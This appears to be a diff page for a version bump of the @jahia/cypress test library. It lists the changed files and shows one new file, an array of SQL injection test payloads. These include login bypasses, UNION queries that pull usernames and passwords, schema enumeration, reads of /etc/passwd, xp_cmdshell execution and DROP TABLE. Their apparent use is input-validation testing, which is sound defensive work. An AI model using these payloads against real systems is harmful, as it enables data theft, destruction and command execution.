@jahia/cypress 7.4.0 → 8.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +35 -0
- package/README.md +69 -2
- package/dist/index.js +6 -2
- package/dist/injections/bash-data.d.ts +1 -0
- package/dist/injections/bash-data.js +57 -0
- package/dist/injections/chars-data.d.ts +1 -0
- package/dist/injections/chars-data.js +25 -0
- package/dist/injections/htmlentities-data.d.ts +1 -0
- package/dist/injections/htmlentities-data.js +22 -0
- package/dist/injections/numbers-data.d.ts +1 -0
- package/dist/injections/numbers-data.js +66 -0
- package/dist/injections/sql-data.d.ts +1 -0
- package/dist/injections/sql-data.js +82 -0
- package/dist/injections/xss-data.d.ts +1 -0
- package/dist/injections/xss-data.js +740 -0
- package/dist/page-object/baseComponent.d.ts +1 -2
- package/dist/page-object/baseComponent.js +10 -6
- package/dist/page-object/basePage.js +1 -1
- package/dist/page-object/html/iframe.d.ts +0 -1
- package/dist/page-object/html/iframe.js +2 -2
- package/dist/page-object/html/index.js +6 -2
- package/dist/page-object/index.js +6 -2
- package/dist/page-object/material/index.js +6 -2
- package/dist/page-object/material/muiinput.d.ts +0 -1
- package/dist/page-object/material/muiinput.js +1 -1
- package/dist/page-object/material/muiradio.js +1 -1
- package/dist/page-object/moonstone/accordion.d.ts +0 -1
- package/dist/page-object/moonstone/accordion.js +2 -2
- package/dist/page-object/moonstone/button.js +1 -1
- package/dist/page-object/moonstone/collapsible.js +1 -1
- package/dist/page-object/moonstone/dropdown.js +2 -2
- package/dist/page-object/moonstone/index.js +6 -2
- package/dist/page-object/moonstone/menu.js +9 -9
- package/dist/page-object/moonstone/pagination.js +3 -3
- package/dist/page-object/moonstone/primaryNav.js +2 -2
- package/dist/page-object/moonstone/secondaryNav.js +1 -1
- package/dist/page-object/moonstone/table.d.ts +0 -1
- package/dist/page-object/moonstone/table.js +5 -5
- package/dist/page-object/utils.d.ts +0 -1
- package/dist/page-object/utils.js +11 -12
- package/dist/plugins/env.js +2 -2
- package/dist/plugins/index.js +6 -2
- package/dist/plugins/registerPlugins.js +2 -2
- package/dist/support/apollo/apollo.d.ts +5 -4
- package/dist/support/apollo/apollo.js +80 -18
- package/dist/support/apollo/apolloClient.d.ts +1 -2
- package/dist/support/apollo/apolloClient.js +7 -7
- package/dist/support/apollo/index.js +6 -2
- package/dist/support/apollo/links.d.ts +1 -1
- package/dist/support/apollo/links.js +5 -6
- package/dist/support/browserHelper.d.ts +10 -0
- package/dist/support/browserHelper.js +167 -0
- package/dist/support/commands.js +1 -1
- package/dist/support/fixture.d.ts +1 -1
- package/dist/support/fixture.js +11 -7
- package/dist/support/index.d.ts +3 -0
- package/dist/support/index.js +9 -2
- package/dist/support/jfaker.d.ts +60 -0
- package/dist/support/jfaker.js +241 -0
- package/dist/support/jsErrorsLogger.js +13 -9
- package/dist/support/login.d.ts +0 -1
- package/dist/support/login.js +2 -2
- package/dist/support/logout.d.ts +0 -1
- package/dist/support/logout.js +1 -1
- package/dist/support/modSince.d.ts +52 -0
- package/dist/support/modSince.js +180 -0
- package/dist/support/provisioning/executeGroovy.d.ts +1 -1
- package/dist/support/provisioning/executeGroovy.js +42 -3
- package/dist/support/provisioning/index.js +6 -2
- package/dist/support/provisioning/installConfig.d.ts +0 -1
- package/dist/support/provisioning/installConfig.js +3 -3
- package/dist/support/provisioning/installModule.d.ts +0 -1
- package/dist/support/provisioning/installModule.js +1 -1
- package/dist/support/provisioning/runProvisioningScript.d.ts +4 -5
- package/dist/support/provisioning/runProvisioningScript.js +86 -9
- package/dist/support/provisioning/uninstallModule.d.ts +0 -1
- package/dist/support/provisioning/uninstallModule.js +1 -1
- package/dist/support/registerSupport.js +35 -1
- package/dist/support/repeatUntil.d.ts +1 -2
- package/dist/support/repeatUntil.js +2 -2
- package/dist/support/testStep.js +2 -2
- package/dist/utils/ClusterHelper.js +1 -1
- package/dist/utils/ExportHelper.d.ts +2 -2
- package/dist/utils/ExportHelper.js +14 -10
- package/dist/utils/GraphQLHelper.js +21 -17
- package/dist/utils/JCRHelper.d.ts +1 -1
- package/dist/utils/JCRHelper.js +1 -1
- package/dist/utils/JahiaPlatformHelper.js +2 -2
- package/dist/utils/Logger.js +6 -6
- package/dist/utils/PublicationAndWorkflowHelper.js +3 -3
- package/dist/utils/SAMHelper.d.ts +1 -1
- package/dist/utils/SAMHelper.js +4 -4
- package/dist/utils/SiteHelper.js +2 -2
- package/dist/utils/UsersHelper.js +2 -2
- package/dist/utils/VanityUrlHelper.js +1 -1
- package/dist/utils/index.js +6 -2
- package/docs/browser-helper.md +158 -0
- package/docs/jfaker.md +450 -0
- package/package.json +13 -10
- package/src/injections/bash-data.ts +54 -0
- package/src/injections/chars-data.ts +22 -0
- package/src/injections/htmlentities-data.ts +19 -0
- package/src/injections/numbers-data.ts +63 -0
- package/src/injections/sql-data.ts +79 -0
- package/src/injections/xss-data.ts +737 -0
- package/src/page-object/baseComponent.ts +6 -6
- package/src/page-object/html/iframe.ts +3 -3
- package/src/page-object/material/muiinput.ts +1 -1
- package/src/page-object/material/muiradio.ts +1 -1
- package/src/page-object/moonstone/accordion.ts +1 -1
- package/src/page-object/moonstone/button.ts +1 -1
- package/src/page-object/moonstone/collapsible.ts +1 -1
- package/src/page-object/moonstone/dropdown.ts +1 -1
- package/src/page-object/moonstone/menu.ts +1 -1
- package/src/page-object/moonstone/pagination.ts +1 -1
- package/src/page-object/moonstone/primaryNav.ts +1 -1
- package/src/page-object/moonstone/secondaryNav.ts +1 -1
- package/src/page-object/moonstone/table.ts +2 -2
- package/src/support/apollo/apollo.ts +74 -11
- package/src/support/apollo/links.ts +1 -2
- package/src/support/browserHelper.ts +186 -0
- package/src/support/index.ts +3 -0
- package/src/support/jfaker.ts +245 -0
- package/src/support/modSince.ts +222 -0
- package/src/support/provisioning/executeGroovy.md +7 -1
- package/src/support/provisioning/executeGroovy.ts +46 -2
- package/src/support/provisioning/runProvisioningScript.ts +89 -12
- package/src/support/registerSupport.ts +29 -0
- package/tests/cypress/e2e/jfaker.spec.ts +411 -0
- package/tests/cypress/e2e/modSince.spec.ts +306 -0
- package/tests/cypress.config.ts +23 -0
- package/tests/package.json +41 -0
- package/tests/reporter-config.json +13 -0
- package/tests/yarn.lock +8578 -0
- package/tsconfig.json +3 -0
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
export const sqlData: string[] = [
|
|
2
|
+
'select * from "Jahia"."Users" order by "ID"',
|
|
3
|
+
'1;DROP TABLE users',
|
|
4
|
+
'1\'; DROP TABLE users-- 1',
|
|
5
|
+
'\' OR 1=1 -- 1',
|
|
6
|
+
'\' OR \'1\'=\'1',
|
|
7
|
+
'\' OR \'1\'=\'1\' --',
|
|
8
|
+
'\' OR \'1\'=\'1\' /*',
|
|
9
|
+
'admin\' --',
|
|
10
|
+
'\' UNION SELECT NULL--',
|
|
11
|
+
'1\'; DROP TABLE users--',
|
|
12
|
+
'\' or 1=1--',
|
|
13
|
+
'" or 1=1--',
|
|
14
|
+
'or 1=1--',
|
|
15
|
+
'\' or \'x\'=\'x',
|
|
16
|
+
'" or "x"="x',
|
|
17
|
+
'\') or (\'x\'=\'x',
|
|
18
|
+
'\' or 1=1#',
|
|
19
|
+
'" or 1=1#',
|
|
20
|
+
'or 1=1#',
|
|
21
|
+
'\' OR \'1',
|
|
22
|
+
'\' OR 1 -- -',
|
|
23
|
+
'" OR "" = "',
|
|
24
|
+
'" OR 1 = 1 -- -',
|
|
25
|
+
'\' OR \'\' = \'',
|
|
26
|
+
'\'=\'',
|
|
27
|
+
'\'LIKE\'',
|
|
28
|
+
'\'=0--+',
|
|
29
|
+
' OR 1=1',
|
|
30
|
+
'\' OR \'x\'=\'x',
|
|
31
|
+
'\' AND id IS NULL; --',
|
|
32
|
+
'\'\'\'\'\'\'\'\'\'\'\'\'\'UNION SELECT \'2',
|
|
33
|
+
'%00',
|
|
34
|
+
'/*…*/ UNION SELECT/*…*/',
|
|
35
|
+
'+UNION+SELECT+',
|
|
36
|
+
'+ UNION+SELECT+',
|
|
37
|
+
'+UNION+ALL+SELECT+',
|
|
38
|
+
'||6',
|
|
39
|
+
'\'||\'6',
|
|
40
|
+
'(||6)',
|
|
41
|
+
'\' OR 1=1--',
|
|
42
|
+
'OR 1=1',
|
|
43
|
+
'\' OR \'1\'=\'1',
|
|
44
|
+
'OR \'1\'=\'1\'',
|
|
45
|
+
'\' OR 1=1 or \'\'=\'',
|
|
46
|
+
'" OR 1=1 or ""="',
|
|
47
|
+
'1\' UNION SELECT NULL, NULL--',
|
|
48
|
+
'1\' UNION ALL SELECT NULL, NULL--',
|
|
49
|
+
'\' UNION SELECT NULL, username, password FROM users--',
|
|
50
|
+
'\' UNION SELECT NULL, table_name FROM information_schema.tables--',
|
|
51
|
+
'\' UNION SELECT NULL, column_name FROM information_schema.columns--',
|
|
52
|
+
'admin\'--',
|
|
53
|
+
'admin\' #',
|
|
54
|
+
'admin\'/*',
|
|
55
|
+
'\' or 1=1 limit 1 --',
|
|
56
|
+
'\'="',
|
|
57
|
+
'\' AND 1=0 UNION ALL SELECT \'\', \'81dc9bdb52d04dc20036dbd8313ed055',
|
|
58
|
+
'" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055',
|
|
59
|
+
'\' UNION SELECT NULL, \'admin\', \'5f4dcc3b5aa765d61d8327deb882cf99',
|
|
60
|
+
'\'; EXEC xp_cmdshell(\'dir\') --',
|
|
61
|
+
'\'; EXEC sp_configure \'show advanced options\', 1 --',
|
|
62
|
+
'\'; DROP TABLE users; --',
|
|
63
|
+
'\'; WAITFOR DELAY \'00:00:05\' --',
|
|
64
|
+
'\' AND 1=CONVERT(int, (SELECT @@version)) --',
|
|
65
|
+
'\' UNION SELECT NULL, NULL, NULL, @@version --',
|
|
66
|
+
'\' AND 1=2 UNION SELECT NULL, load_file(\'/etc/passwd\') --',
|
|
67
|
+
'\' INTO OUTFILE \'/tmp/out.txt',
|
|
68
|
+
'\'; SELECT * FROM information_schema.tables --',
|
|
69
|
+
'\' AND extractvalue(1,concat(0x7e,database())) --',
|
|
70
|
+
'\' AND updatexml(1,concat(0x7e,version()),1) --',
|
|
71
|
+
'\' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --',
|
|
72
|
+
'\' UNION SELECT NULL, group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --',
|
|
73
|
+
'\' UNION SELECT NULL, group_concat(column_name) FROM information_schema.columns WHERE table_name=\'users\' --',
|
|
74
|
+
'\' UNION SELECT username, password FROM users WHERE \'1\'=\'1',
|
|
75
|
+
'1\' AND 1=2 UNION SELECT NULL, database() --',
|
|
76
|
+
'1\' AND 1=2 UNION SELECT NULL, user() --',
|
|
77
|
+
'\'; EXECUTE IMMEDIATE \'SELECT * FROM dual\' --',
|
|
78
|
+
'\' OR 1=1; BEGIN EXECUTE IMMEDIATE \'SELECT banner FROM v$version\'; END; --'
|
|
79
|
+
];
|